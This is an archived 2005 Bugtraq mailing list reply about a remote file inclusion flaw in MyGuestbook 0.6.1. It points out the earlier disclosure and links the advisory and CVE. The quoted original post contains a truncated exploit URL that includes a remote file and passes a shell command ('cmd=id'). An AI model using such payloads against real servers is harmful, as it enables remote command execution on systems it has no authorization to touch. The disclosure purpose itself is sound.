Bugtraq mailing list archives

Re: Remote File Inclusion in MyGuestbook

From: security curmudgeon <jericho () attrition org>
Date: Fri, 23 Sep 2005 04:00:04 -0400 (EDT)


: Remote File Inclusion in MyGuestbook
: 
: version: 0.6.1
: 
: Exploit :
: http://server/Guestbook/form.inc.ph...cmd.gif?&cmd=id
: 
: Discovery by RoDheDoR

This was discovered/posted on July 5 by SoulBlack Security Research:

http://archives.neohapsis.com/archives/bugtraq/2005-07/0040.html
http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.txt
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2162
http://osvdb.org/17750

Current thread:

Remote File Inclusion in MyGuestbook rod hedor (Sep 15)
- Re: Remote File Inclusion in MyGuestbook security curmudgeon (Sep 23)